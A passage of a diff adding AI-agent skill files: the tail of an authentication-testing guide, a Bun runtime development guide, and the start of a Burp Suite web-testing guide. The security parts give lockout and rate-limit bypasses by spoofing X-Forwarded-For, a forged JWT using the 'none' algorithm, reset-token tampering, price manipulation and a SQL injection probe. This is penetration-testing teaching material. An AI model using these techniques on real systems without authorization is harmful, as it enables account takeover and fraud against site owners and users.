- SecLists passwords
|
||||
- Custom targeted lists
|
||||
```
|
||||
|
||||
### Session Cookie Flags
|
||||
|
||||
| Flag | Purpose | Vulnerability if Missing |
|
||||
|------|---------|------------------------|
|
||||
| HttpOnly | Prevent JS access | XSS can steal session |
|
||||
| Secure | HTTPS only | Sent over HTTP |
|
||||
| SameSite | CSRF protection | Cross-site requests allowed |
|
||||
| Path | URL scope | Broader exposure |
|
||||
| Domain | Domain scope | Subdomain access |
|
||||
| Expires | Lifetime | Persistent sessions |
|
||||
|
||||
### Rate Limiting Bypass Headers
|
||||
|
||||
```http
|
||||
X-Forwarded-For: 127.0.0.1
|
||||
X-Real-IP: 127.0.0.1
|
||||
X-Originating-IP: 127.0.0.1
|
||||
X-Client-IP: 127.0.0.1
|
||||
X-Remote-IP: 127.0.0.1
|
||||
True-Client-IP: 127.0.0.1
|
||||
```
|
||||
|
||||
## Constraints and Limitations
|
||||
|
||||
### Legal Requirements
|
||||
- Only test with explicit written authorization
|
||||
- Avoid testing with real breached credentials
|
||||
- Do not access actual user accounts
|
||||
- Document all testing activities
|
||||
|
||||
### Technical Limitations
|
||||
- CAPTCHA may prevent automated testing
|
||||
- Rate limiting affects brute force timing
|
||||
- MFA significantly increases attack difficulty
|
||||
- Some vulnerabilities require victim interaction
|
||||
|
||||
### Scope Considerations
|
||||
- Test accounts may behave differently than production
|
||||
- Some features may be disabled in test environments
|
||||
- Third-party authentication may be out of scope
|
||||
- Production testing requires extra caution
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Account Lockout Bypass
|
||||
|
||||
**Scenario:** Test if account lockout can be bypassed
|
||||
|
||||
```bash
|
||||
# Step 1: Identify lockout threshold
|
||||
# Try 5 wrong passwords for admin account
|
||||
# Result: "Account locked for 30 minutes"
|
||||
|
||||
# Step 2: Test bypass via IP rotation
|
||||
# Use X-Forwarded-For header
|
||||
POST /login HTTP/1.1
|
||||
X-Forwarded-For: 192.168.1.1
|
||||
username=admin&password=attempt1
|
||||
|
||||
# Increment IP for each attempt
|
||||
X-Forwarded-For: 192.168.1.2
|
||||
# Continue until successful or confirmed blocked
|
||||
|
||||
# Step 3: Test bypass via case manipulation
|
||||
username=Admin (vs admin)
|
||||
username=ADMIN
|
||||
# Some systems treat these as different accounts
|
||||
```
|
||||
|
||||
### Example 2: JWT Token Attack
|
||||
|
||||
**Scenario:** Exploit weak JWT implementation
|
||||
|
||||
```bash
|
||||
# Step 1: Capture JWT token
|
||||
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature
|
||||
|
||||
# Step 2: Decode and analyze
|
||||
# Header: {"alg":"HS256","typ":"JWT"}
|
||||
# Payload: {"user":"test","role":"user"}
|
||||
|
||||
# Step 3: Try "none" algorithm attack
|
||||
# Change header to: {"alg":"none","typ":"JWT"}
|
||||
# Remove signature
|
||||
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.
|
||||
|
||||
# Step 4: Submit modified token
|
||||
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
|
||||
```
|
||||
|
||||
### Example 3: Password Reset Token Exploitation
|
||||
|
||||
**Scenario:** Test password reset functionality
|
||||
|
||||
```bash
|
||||
# Step 1: Request reset for test account
|
||||
POST /forgot-password
|
||||
email=test@example.com
|
||||
|
||||
# Step 2: Capture reset link
|
||||
https://target.com/reset?token=a1b2c3d4e5f6
|
||||
|
||||
# Step 3: Test token properties
|
||||
# Reuse: Try using same token twice
|
||||
# Expiration: Wait 24+ hours and retry
|
||||
# Modification: Change characters in token
|
||||
|
||||
# Step 4: Test for user parameter manipulation
|
||||
https://target.com/reset?token=a1b2c3d4e5f6&email=admin@example.com
|
||||
# Check if admin's password can be reset with test user's token
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Solutions |
|
||||
|-------|-----------|
|
||||
| Brute force too slow | Identify rate limit scope; IP rotation; add delays; use targeted wordlists |
|
||||
| Session analysis inconclusive | Collect 1000+ tokens; use statistical tools; check for timestamps; compare accounts |
|
||||
| MFA cannot be bypassed | Document as secure; test backup/recovery mechanisms; check MFA fatigue; verify enrollment |
|
||||
| Account lockout prevents testing | Request multiple test accounts; test threshold first; use slower timing |
|
||||
691
skills/bun-development/SKILL.md
Normal file
691
skills/bun-development/SKILL.md
Normal file
@@ -0,0 +1,691 @@
|
||||
---
|
||||
name: bun-development
|
||||
description: "Modern JavaScript/TypeScript development with Bun runtime. Covers package management, bundling, testing, and migration from Node.js. Use when working with Bun, optimizing JS/TS development speed, or migrating from Node.js to Bun."
|
||||
---
|
||||
|
||||
# ⚡ Bun Development
|
||||
|
||||
> Fast, modern JavaScript/TypeScript development with the Bun runtime, inspired by [oven-sh/bun](https://github.com/oven-sh/bun).
|
||||
|
||||
## When to Use This Skill
|
||||
|
||||
Use this skill when:
|
||||
|
||||
- Starting new JS/TS projects with Bun
|
||||
- Migrating from Node.js to Bun
|
||||
- Optimizing development speed
|
||||
- Using Bun's built-in tools (bundler, test runner)
|
||||
- Troubleshooting Bun-specific issues
|
||||
|
||||
---
|
||||
|
||||
## 1. Getting Started
|
||||
|
||||
### 1.1 Installation
|
||||
|
||||
```bash
|
||||
# macOS / Linux
|
||||
curl -fsSL https://bun.sh/install | bash
|
||||
|
||||
# Windows
|
||||
powershell -c "irm bun.sh/install.ps1 | iex"
|
||||
|
||||
# Homebrew
|
||||
brew tap oven-sh/bun
|
||||
brew install bun
|
||||
|
||||
# npm (if needed)
|
||||
npm install -g bun
|
||||
|
||||
# Upgrade
|
||||
bun upgrade
|
||||
```
|
||||
|
||||
### 1.2 Why Bun?
|
||||
|
||||
| Feature | Bun | Node.js |
|
||||
| :-------------- | :------------- | :-------------------------- |
|
||||
| Startup time | ~25ms | ~100ms+ |
|
||||
| Package install | 10-100x faster | Baseline |
|
||||
| TypeScript | Native | Requires transpiler |
|
||||
| JSX | Native | Requires transpiler |
|
||||
| Test runner | Built-in | External (Jest, Vitest) |
|
||||
| Bundler | Built-in | External (Webpack, esbuild) |
|
||||
|
||||
---
|
||||
|
||||
## 2. Project Setup
|
||||
|
||||
### 2.1 Create New Project
|
||||
|
||||
```bash
|
||||
# Initialize project
|
||||
bun init
|
||||
|
||||
# Creates:
|
||||
# ├── package.json
|
||||
# ├── tsconfig.json
|
||||
# ├── index.ts
|
||||
# └── README.md
|
||||
|
||||
# With specific template
|
||||
bun create <template> <project-name>
|
||||
|
||||
# Examples
|
||||
bun create react my-app # React app
|
||||
bun create next my-app # Next.js app
|
||||
bun create vite my-app # Vite app
|
||||
bun create elysia my-api # Elysia API
|
||||
```
|
||||
|
||||
### 2.2 package.json
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "my-bun-project",
|
||||
"version": "1.0.0",
|
||||
"module": "index.ts",
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
"dev": "bun run --watch index.ts",
|
||||
"start": "bun run index.ts",
|
||||
"test": "bun test",
|
||||
"build": "bun build ./index.ts --outdir ./dist",
|
||||
"lint": "bunx eslint ."
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/bun": "latest"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"typescript": "^5.0.0"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 2.3 tsconfig.json (Bun-optimized)
|
||||
|
||||
```json
|
||||
{
|
||||
"compilerOptions": {
|
||||
"lib": ["ESNext"],
|
||||
"module": "esnext",
|
||||
"target": "esnext",
|
||||
"moduleResolution": "bundler",
|
||||
"moduleDetection": "force",
|
||||
"allowImportingTsExtensions": true,
|
||||
"noEmit": true,
|
||||
"composite": true,
|
||||
"strict": true,
|
||||
"downlevelIteration": true,
|
||||
"skipLibCheck": true,
|
||||
"jsx": "react-jsx",
|
||||
"allowSyntheticDefaultImports": true,
|
||||
"forceConsistentCasingInFileNames": true,
|
||||
"allowJs": true,
|
||||
"types": ["bun-types"]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. Package Management
|
||||
|
||||
### 3.1 Installing Packages
|
||||
|
||||
```bash
|
||||
# Install from package.json
|
||||
bun install # or 'bun i'
|
||||
|
||||
# Add dependencies
|
||||
bun add express # Regular dependency
|
||||
bun add -d typescript # Dev dependency
|
||||
bun add -D @types/node # Dev dependency (alias)
|
||||
bun add --optional pkg # Optional dependency
|
||||
|
||||
# From specific registry
|
||||
bun add lodash --registry https://registry.npmmirror.com
|
||||
|
||||
# Install specific version
|
||||
bun add react@18.2.0
|
||||
bun add react@latest
|
||||
bun add react@next
|
||||
|
||||
# From git
|
||||
bun add github:user/repo
|
||||
bun add git+https://github.com/user/repo.git
|
||||
```
|
||||
|
||||
### 3.2 Removing & Updating
|
||||
|
||||
```bash
|
||||
# Remove package
|
||||
bun remove lodash
|
||||
|
||||
# Update packages
|
||||
bun update # Update all
|
||||
bun update lodash # Update specific
|
||||
bun update --latest # Update to latest (ignore ranges)
|
||||
|
||||
# Check outdated
|
||||
bun outdated
|
||||
```
|
||||
|
||||
### 3.3 bunx (npx equivalent)
|
||||
|
||||
```bash
|
||||
# Execute package binaries
|
||||
bunx prettier --write .
|
||||
bunx tsc --init
|
||||
bunx create-react-app my-app
|
||||
|
||||
# With specific version
|
||||
bunx -p typescript@4.9 tsc --version
|
||||
|
||||
# Run without installing
|
||||
bunx cowsay "Hello from Bun!"
|
||||
```
|
||||
|
||||
### 3.4 Lockfile
|
||||
|
||||
```bash
|
||||
# bun.lockb is a binary lockfile (faster parsing)
|
||||
# To generate text lockfile for debugging:
|
||||
bun install --yarn # Creates yarn.lock
|
||||
|
||||
# Trust existing lockfile
|
||||
bun install --frozen-lockfile
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Running Code
|
||||
|
||||
### 4.1 Basic Execution
|
||||
|
||||
```bash
|
||||
# Run TypeScript directly (no build step!)
|
||||
bun run index.ts
|
||||
|
||||
# Run JavaScript
|
||||
bun run index.js
|
||||
|
||||
# Run with arguments
|
||||
bun run server.ts --port 3000
|
||||
|
||||
# Run package.json script
|
||||
bun run dev
|
||||
bun run build
|
||||
|
||||
# Short form (for scripts)
|
||||
bun dev
|
||||
bun build
|
||||
```
|
||||
|
||||
### 4.2 Watch Mode
|
||||
|
||||
```bash
|
||||
# Auto-restart on file changes
|
||||
bun --watch run index.ts
|
||||
|
||||
# With hot reloading
|
||||
bun --hot run server.ts
|
||||
```
|
||||
|
||||
### 4.3 Environment Variables
|
||||
|
||||
```typescript
|
||||
// .env file is loaded automatically!
|
||||
|
||||
// Access environment variables
|
||||
const apiKey = Bun.env.API_KEY;
|
||||
const port = Bun.env.PORT ?? "3000";
|
||||
|
||||
// Or use process.env (Node.js compatible)
|
||||
const dbUrl = process.env.DATABASE_URL;
|
||||
```
|
||||
|
||||
```bash
|
||||
# Run with specific env file
|
||||
bun --env-file=.env.production run index.ts
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. Built-in APIs
|
||||
|
||||
### 5.1 File System (Bun.file)
|
||||
|
||||
```typescript
|
||||
// Read file
|
||||
const file = Bun.file("./data.json");
|
||||
const text = await file.text();
|
||||
const json = await file.json();
|
||||
const buffer = await file.arrayBuffer();
|
||||
|
||||
// File info
|
||||
console.log(file.size); // bytes
|
||||
console.log(file.type); // MIME type
|
||||
|
||||
// Write file
|
||||
await Bun.write("./output.txt", "Hello, Bun!");
|
||||
await Bun.write("./data.json", JSON.stringify({ foo: "bar" }));
|
||||
|
||||
// Stream large files
|
||||
const reader = file.stream();
|
||||
for await (const chunk of reader) {
|
||||
console.log(chunk);
|
||||
}
|
||||
```
|
||||
|
||||
### 5.2 HTTP Server (Bun.serve)
|
||||
|
||||
```typescript
|
||||
const server = Bun.serve({
|
||||
port: 3000,
|
||||
|
||||
fetch(request) {
|
||||
const url = new URL(request.url);
|
||||
|
||||
if (url.pathname === "/") {
|
||||
return new Response("Hello World!");
|
||||
}
|
||||
|
||||
if (url.pathname === "/api/users") {
|
||||
return Response.json([
|
||||
{ id: 1, name: "Alice" },
|
||||
{ id: 2, name: "Bob" },
|
||||
]);
|
||||
}
|
||||
|
||||
return new Response("Not Found", { status: 404 });
|
||||
},
|
||||
|
||||
error(error) {
|
||||
return new Response(`Error: ${error.message}`, { status: 500 });
|
||||
},
|
||||
});
|
||||
|
||||
console.log(`Server running at http://localhost:${server.port}`);
|
||||
```
|
||||
|
||||
### 5.3 WebSocket Server
|
||||
|
||||
```typescript
|
||||
const server = Bun.serve({
|
||||
port: 3000,
|
||||
|
||||
fetch(req, server) {
|
||||
// Upgrade to WebSocket
|
||||
if (server.upgrade(req)) {
|
||||
return; // Upgraded
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
},
|
||||
|
||||
websocket: {
|
||||
open(ws) {
|
||||
console.log("Client connected");
|
||||
ws.send("Welcome!");
|
||||
},
|
||||
|
||||
message(ws, message) {
|
||||
console.log(`Received: ${message}`);
|
||||
ws.send(`Echo: ${message}`);
|
||||
},
|
||||
|
||||
close(ws) {
|
||||
console.log("Client disconnected");
|
||||
},
|
||||
},
|
||||
});
|
||||
```
|
||||
|
||||
### 5.4 SQLite (Bun.sql)
|
||||
|
||||
```typescript
|
||||
import { Database } from "bun:sqlite";
|
||||
|
||||
const db = new Database("mydb.sqlite");
|
||||
|
||||
// Create table
|
||||
db.run(`
|
||||
CREATE TABLE IF NOT EXISTS users (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
name TEXT NOT NULL,
|
||||
email TEXT UNIQUE
|
||||
)
|
||||
`);
|
||||
|
||||
// Insert
|
||||
const insert = db.prepare("INSERT INTO users (name, email) VALUES (?, ?)");
|
||||
insert.run("Alice", "alice@example.com");
|
||||
|
||||
// Query
|
||||
const query = db.prepare("SELECT * FROM users WHERE name = ?");
|
||||
const user = query.get("Alice");
|
||||
console.log(user); // { id: 1, name: "Alice", email: "alice@example.com" }
|
||||
|
||||
// Query all
|
||||
const allUsers = db.query("SELECT * FROM users").all();
|
||||
```
|
||||
|
||||
### 5.5 Password Hashing
|
||||
|
||||
```typescript
|
||||
// Hash password
|
||||
const password = "super-secret";
|
||||
const hash = await Bun.password.hash(password);
|
||||
|
||||
// Verify password
|
||||
const isValid = await Bun.password.verify(password, hash);
|
||||
console.log(isValid); // true
|
||||
|
||||
// With algorithm options
|
||||
const bcryptHash = await Bun.password.hash(password, {
|
||||
algorithm: "bcrypt",
|
||||
cost: 12,
|
||||
});
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. Testing
|
||||
|
||||
### 6.1 Basic Tests
|
||||
|
||||
```typescript
|
||||
// math.test.ts
|
||||
import { describe, it, expect, beforeAll, afterAll } from "bun:test";
|
||||
|
||||
describe("Math operations", () => {
|
||||
it("adds two numbers", () => {
|
||||
expect(1 + 1).toBe(2);
|
||||
});
|
||||
|
||||
it("subtracts two numbers", () => {
|
||||
expect(5 - 3).toBe(2);
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
### 6.2 Running Tests
|
||||
|
||||
```bash
|
||||
# Run all tests
|
||||
bun test
|
||||
|
||||
# Run specific file
|
||||
bun test math.test.ts
|
||||
|
||||
# Run matching pattern
|
||||
bun test --grep "adds"
|
||||
|
||||
# Watch mode
|
||||
bun test --watch
|
||||
|
||||
# With coverage
|
||||
bun test --coverage
|
||||
|
||||
# Timeout
|
||||
bun test --timeout 5000
|
||||
```
|
||||
|
||||
### 6.3 Matchers
|
||||
|
||||
```typescript
|
||||
import { expect, test } from "bun:test";
|
||||
|
||||
test("matchers", () => {
|
||||
// Equality
|
||||
expect(1).toBe(1);
|
||||
expect({ a: 1 }).toEqual({ a: 1 });
|
||||
expect([1, 2]).toContain(1);
|
||||
|
||||
// Comparisons
|
||||
expect(10).toBeGreaterThan(5);
|
||||
expect(5).toBeLessThanOrEqual(5);
|
||||
|
||||
// Truthiness
|
||||
expect(true).toBeTruthy();
|
||||
expect(null).toBeNull();
|
||||
expect(undefined).toBeUndefined();
|
||||
|
||||
// Strings
|
||||
expect("hello").toMatch(/ell/);
|
||||
expect("hello").toContain("ell");
|
||||
|
||||
// Arrays
|
||||
expect([1, 2, 3]).toHaveLength(3);
|
||||
|
||||
// Exceptions
|
||||
expect(() => {
|
||||
throw new Error("fail");
|
||||
}).toThrow("fail");
|
||||
|
||||
// Async
|
||||
await expect(Promise.resolve(1)).resolves.toBe(1);
|
||||
await expect(Promise.reject("err")).rejects.toBe("err");
|
||||
});
|
||||
```
|
||||
|
||||
### 6.4 Mocking
|
||||
|
||||
```typescript
|
||||
import { mock, spyOn } from "bun:test";
|
||||
|
||||
// Mock function
|
||||
const mockFn = mock((x: number) => x * 2);
|
||||
mockFn(5);
|
||||
expect(mockFn).toHaveBeenCalled();
|
||||
expect(mockFn).toHaveBeenCalledWith(5);
|
||||
expect(mockFn.mock.results[0].value).toBe(10);
|
||||
|
||||
// Spy on method
|
||||
const obj = {
|
||||
method: () => "original",
|
||||
};
|
||||
const spy = spyOn(obj, "method").mockReturnValue("mocked");
|
||||
expect(obj.method()).toBe("mocked");
|
||||
expect(spy).toHaveBeenCalled();
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 7. Bundling
|
||||
|
||||
### 7.1 Basic Build
|
||||
|
||||
```bash
|
||||
# Bundle for production
|
||||
bun build ./src/index.ts --outdir ./dist
|
||||
|
||||
# With options
|
||||
bun build ./src/index.ts \
|
||||
--outdir ./dist \
|
||||
--target browser \
|
||||
--minify \
|
||||
--sourcemap
|
||||
```
|
||||
|
||||
### 7.2 Build API
|
||||
|
||||
```typescript
|
||||
const result = await Bun.build({
|
||||
entrypoints: ["./src/index.ts"],
|
||||
outdir: "./dist",
|
||||
target: "browser", // or "bun", "node"
|
||||
minify: true,
|
||||
sourcemap: "external",
|
||||
splitting: true,
|
||||
format: "esm",
|
||||
|
||||
// External packages (not bundled)
|
||||
external: ["react", "react-dom"],
|
||||
|
||||
// Define globals
|
||||
define: {
|
||||
"process.env.NODE_ENV": JSON.stringify("production"),
|
||||
},
|
||||
|
||||
// Naming
|
||||
naming: {
|
||||
entry: "[name].[hash].js",
|
||||
chunk: "chunks/[name].[hash].js",
|
||||
asset: "assets/[name].[hash][ext]",
|
||||
},
|
||||
});
|
||||
|
||||
if (!result.success) {
|
||||
console.error(result.logs);
|
||||
}
|
||||
```
|
||||
|
||||
### 7.3 Compile to Executable
|
||||
|
||||
```bash
|
||||
# Create standalone executable
|
||||
bun build ./src/cli.ts --compile --outfile myapp
|
||||
|
||||
# Cross-compile
|
||||
bun build ./src/cli.ts --compile --target=bun-linux-x64 --outfile myapp-linux
|
||||
bun build ./src/cli.ts --compile --target=bun-darwin-arm64 --outfile myapp-mac
|
||||
|
||||
# With embedded assets
|
||||
bun build ./src/cli.ts --compile --outfile myapp --embed ./assets
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 8. Migration from Node.js
|
||||
|
||||
### 8.1 Compatibility
|
||||
|
||||
```typescript
|
||||
// Most Node.js APIs work out of the box
|
||||
import fs from "fs";
|
||||
import path from "path";
|
||||
import crypto from "crypto";
|
||||
|
||||
// process is global
|
||||
console.log(process.cwd());
|
||||
console.log(process.env.HOME);
|
||||
|
||||
// Buffer is global
|
||||
const buf = Buffer.from("hello");
|
||||
|
||||
// __dirname and __filename work
|
||||
console.log(__dirname);
|
||||
console.log(__filename);
|
||||
```
|
||||
|
||||
### 8.2 Common Migration Steps
|
||||
|
||||
```bash
|
||||
# 1. Install Bun
|
||||
curl -fsSL https://bun.sh/install | bash
|
||||
|
||||
# 2. Replace package manager
|
||||
rm -rf node_modules package-lock.json
|
||||
bun install
|
||||
|
||||
# 3. Update scripts in package.json
|
||||
# "start": "node index.js" → "start": "bun run index.ts"
|
||||
# "test": "jest" → "test": "bun test"
|
||||
|
||||
# 4. Add Bun types
|
||||
bun add -d @types/bun
|
||||
```
|
||||
|
||||
### 8.3 Differences from Node.js
|
||||
|
||||
```typescript
|
||||
// ❌ Node.js specific (may not work)
|
||||
require("module") // Use import instead
|
||||
require.resolve("pkg") // Use import.meta.resolve
|
||||
__non_webpack_require__ // Not supported
|
||||
|
||||
// ✅ Bun equivalents
|
||||
import pkg from "pkg";
|
||||
const resolved = import.meta.resolve("pkg");
|
||||
Bun.resolveSync("pkg", process.cwd());
|
||||
|
||||
// ❌ These globals differ
|
||||
process.hrtime() // Use Bun.nanoseconds()
|
||||
setImmediate() // Use queueMicrotask()
|
||||
|
||||
// ✅ Bun-specific features
|
||||
const file = Bun.file("./data.txt"); // Fast file API
|
||||
Bun.serve({ port: 3000, fetch: ... }); // Fast HTTP server
|
||||
Bun.password.hash(password); // Built-in hashing
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 9. Performance Tips
|
||||
|
||||
### 9.1 Use Bun-native APIs
|
||||
|
||||
```typescript
|
||||
// Slow (Node.js compat)
|
||||
import fs from "fs/promises";
|
||||
const content = await fs.readFile("./data.txt", "utf-8");
|
||||
|
||||
// Fast (Bun-native)
|
||||
const file = Bun.file("./data.txt");
|
||||
const content = await file.text();
|
||||
```
|
||||
|
||||
### 9.2 Use Bun.serve for HTTP
|
||||
|
||||
```typescript
|
||||
// Don't: Express/Fastify (overhead)
|
||||
import express from "express";
|
||||
const app = express();
|
||||
|
||||
// Do: Bun.serve (native, 4-10x faster)
|
||||
Bun.serve({
|
||||
fetch(req) {
|
||||
return new Response("Hello!");
|
||||
},
|
||||
});
|
||||
|
||||
// Or use Elysia (Bun-optimized framework)
|
||||
import { Elysia } from "elysia";
|
||||
new Elysia().get("/", () => "Hello!").listen(3000);
|
||||
```
|
||||
|
||||
### 9.3 Bundle for Production
|
||||
|
||||
```bash
|
||||
# Always bundle and minify for production
|
||||
bun build ./src/index.ts --outdir ./dist --minify --target node
|
||||
|
||||
# Then run the bundle
|
||||
bun run ./dist/index.js
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Quick Reference
|
||||
|
||||
| Task | Command |
|
||||
| :----------- | :----------------------------------------- |
|
||||
| Init project | `bun init` |
|
||||
| Install deps | `bun install` |
|
||||
| Add package | `bun add <pkg>` |
|
||||
| Run script | `bun run <script>` |
|
||||
| Run file | `bun run file.ts` |
|
||||
| Watch mode | `bun --watch run file.ts` |
|
||||
| Run tests | `bun test` |
|
||||
| Build | `bun build ./src/index.ts --outdir ./dist` |
|
||||
| Execute pkg | `bunx <pkg>` |
|
||||
|
||||
---
|
||||
|
||||
## Resources
|
||||
|
||||
- [Bun Documentation](https://bun.sh/docs)
|
||||
- [Bun GitHub](https://github.com/oven-sh/bun)
|
||||
- [Elysia Framework](https://elysiajs.com/)
|
||||
- [Bun Discord](https://bun.sh/discord)
|
||||
377
skills/burp-suite-testing/SKILL.md
Normal file
377
skills/burp-suite-testing/SKILL.md
Normal file
@@ -0,0 +1,377 @@
|
||||
---
|
||||
name: Burp Suite Web Application Testing
|
||||
description: This skill should be used when the user asks to "intercept HTTP traffic", "modify web requests", "use Burp Suite for testing", "perform web vulnerability scanning", "test with Burp Repeater", "analyze HTTP history", or "configure proxy for web testing". It provides comprehensive guidance for using Burp Suite's core features for web application security testing.
|
||||
---
|
||||
|
||||
# Burp Suite Web Application Testing
|
||||
|
||||
## Purpose
|
||||
|
||||
Execute comprehensive web application security testing using Burp Suite's integrated toolset, including HTTP traffic interception and modification, request analysis and replay, automated vulnerability scanning, and manual testing workflows. This skill enables systematic discovery and exploitation of web application vulnerabilities through proxy-based testing methodology.
|
||||
|
||||
## Inputs / Prerequisites
|
||||
|
||||
### Required Tools
|
||||
- Burp Suite Community or Professional Edition installed
|
||||
- Burp's embedded browser or configured external browser
|
||||
- Target web application URL
|
||||
- Valid credentials for authenticated testing (if applicable)
|
||||
|
||||
### Environment Setup
|
||||
- Burp Suite launched with temporary or named project
|
||||
- Proxy listener active on 127.0.0.1:8080 (default)
|
||||
- Browser configured to use Burp proxy (or use Burp's browser)
|
||||
- CA certificate installed for HTTPS interception
|
||||
|
||||
### Editions Comparison
|
||||
| Feature | Community | Professional |
|
||||
|---------|-----------|--------------|
|
||||
| Proxy | ✓ | ✓ |
|
||||
| Repeater | ✓ | ✓ |
|
||||
| Intruder | Limited | Full |
|
||||
| Scanner | ✗ | ✓ |
|
||||
| Extensions | ✓ | ✓ |
|
||||
|
||||
## Outputs / Deliverables
|
||||
|
||||
### Primary Outputs
|
||||
- Intercepted and modified HTTP requests/responses
|
||||
- Vulnerability scan reports with remediation advice
|
||||
- HTTP history and site map documentation
|
||||
- Proof-of-concept exploits for identified vulnerabilities
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Phase 1: Intercepting HTTP Traffic
|
||||
|
||||
#### Launch Burp's Browser
|
||||
Navigate to integrated browser for seamless proxy integration:
|
||||
|
||||
1. Open Burp Suite and create/open project
|
||||
2. Go to **Proxy > Intercept** tab
|
||||
3. Click **Open Browser** to launch preconfigured browser
|
||||
4. Position windows to view both Burp and browser simultaneously
|
||||
|
||||
#### Configure Interception
|
||||
Control which requests are captured:
|
||||
|
||||
```
|
||||
Proxy > Intercept > Intercept is on/off toggle
|
||||
|
||||
When ON: Requests pause for review/modification
|
||||
When OFF: Requests pass through, logged to history
|
||||
```
|
||||
|
||||
#### Intercept and Forward Requests
|
||||
Process intercepted traffic:
|
||||
|
||||
1. Set intercept toggle to **Intercept on**
|
||||
2. Navigate to target URL in browser
|
||||
3. Observe request held in Proxy > Intercept tab
|
||||
4. Review request contents (headers, parameters, body)
|
||||
5. Click **Forward** to send request to server
|
||||
6. Continue forwarding subsequent requests until page loads
|
||||
|
||||
#### View HTTP History
|
||||
Access complete traffic log:
|
||||
|
||||
1. Go to **Proxy > HTTP history** tab
|
||||
2. Click any entry to view full request/response
|
||||
3. Sort by clicking column headers (# for chronological order)
|
||||
4. Use filters to focus on relevant traffic
|
||||
|
||||
### Phase 2: Modifying Requests
|
||||
|
||||
#### Intercept and Modify
|
||||
Change request parameters before forwarding:
|
||||
|
||||
1. Enable interception: **Intercept on**
|
||||
2. Trigger target request in browser
|
||||
3. Locate parameter to modify in intercepted request
|
||||
4. Edit value directly in request editor
|
||||
5. Click **Forward** to send modified request
|
||||
|
||||
#### Common Modification Targets
|
||||
| Target | Example | Purpose |
|
||||
|--------|---------|---------|
|
||||
| Price parameters | `price=1` | Test business logic |
|
||||
| User IDs | `userId=admin` | Test access control |
|
||||
| Quantity values | `qty=-1` | Test input validation |
|
||||
| Hidden fields | `isAdmin=true` | Test privilege escalation |
|
||||
|
||||
#### Example: Price Manipulation
|
||||
|
||||
```http
|
||||
POST /cart HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
productId=1&quantity=1&price=100
|
||||
|
||||
# Modify to:
|
||||
productId=1&quantity=1&price=1
|
||||
```
|
||||
|
||||
Result: Item added to cart at modified price.
|
||||
|
||||
### Phase 3: Setting Target Scope
|
||||
|
||||
#### Define Scope
|
||||
Focus testing on specific target:
|
||||
|
||||
1. Go to **Target > Site map**
|
||||
2. Right-click target host in left panel
|
||||
3. Select **Add to scope**
|
||||
4. When prompted, click **Yes** to exclude out-of-scope traffic
|
||||
|
||||
#### Filter by Scope
|
||||
Remove noise from HTTP history:
|
||||
|
||||
1. Click display filter above HTTP history
|
||||
2. Select **Show only in-scope items**
|
||||
3. History now shows only target site traffic
|
||||
|
||||
#### Scope Benefits
|
||||
- Reduces clutter from third-party requests
|
||||
- Prevents accidental testing of out-of-scope sites
|
||||
- Improves scanning efficiency
|
||||
- Creates cleaner reports
|
||||
|
||||
### Phase 4: Using Burp Repeater
|
||||
|
||||
#### Send Request to Repeater
|
||||
Prepare request for manual testing:
|
||||
|
||||
1. Identify interesting request in HTTP history
|
||||
2. Right-click request and select **Send to Repeater**
|
||||
3. Go to **Repeater** tab to access request
|
||||
|
||||
#### Modify and Resend
|
||||
Test different inputs efficiently:
|
||||
|
||||
```
|
||||
1. View request in Repeater tab
|
||||
2. Modify parameter values
|
||||
3. Click Send to submit request
|
||||
4. Review response in right panel
|
||||
5. Use navigation arrows to review request history
|
||||
```
|
||||
|
||||
#### Repeater Testing Workflow
|
||||
|
||||
```
|
||||
Original Request:
|
||||
GET /product?productId=1 HTTP/1.1
|
||||
|
||||
Test 1: productId=2 → Valid product response
|
||||
Test 2: productId=999 → Not Found response
|
||||
Test 3: productId=' → Error/exception response
|
||||
Test 4: productId=1 OR 1=1 → SQL injection test
|
||||
```
|
||||
|
||||
#### Analyze Responses
|
||||
Look for indicators of vulnerabilities:
|
||||
|
||||
- Error messages revealing stack traces
|
||||
- Framework/version information disclosure
|
||||
- Different response lengths indicating logic flaws
|
||||
- Timing differences suggesting blind injection
|
||||
- Unexpected data in responses
|
||||
|
||||
### Phase 5: Running Automated Scans
|
||||
|
||||
#### Launch New Scan
|
||||
Initiate vulnerability scanning (Professional only):
|
||||
|
||||
1. Go to **Dashboard** tab
|
||||
2. Click **New scan**
|
||||
3. Enter target URL in **URLs to scan** field
|
||||
4. Configure scan settings
|
||||
|
||||
#### Scan Configuration Options
|
||||
|
||||
| Mode | Description | Duration |
|
||||
|------|-------------|----------|
|
||||
| Lightweight | High-level overview | ~15 minutes |
|
||||
| Fast | Quick vulnerability check | ~30 minutes |
|
||||
| Balanced | Standard comprehensive scan | ~1-2 hours |
|
||||
| Deep | Thorough testing | Several hours |
|
||||
|
||||
#### Monitor Scan Progress
|
||||
Track scanning activity:
|
||||
|
||||
1. View task status in **Dashboard**
|
||||
2. Watch **Target > Site map** update in real-time
|
||||
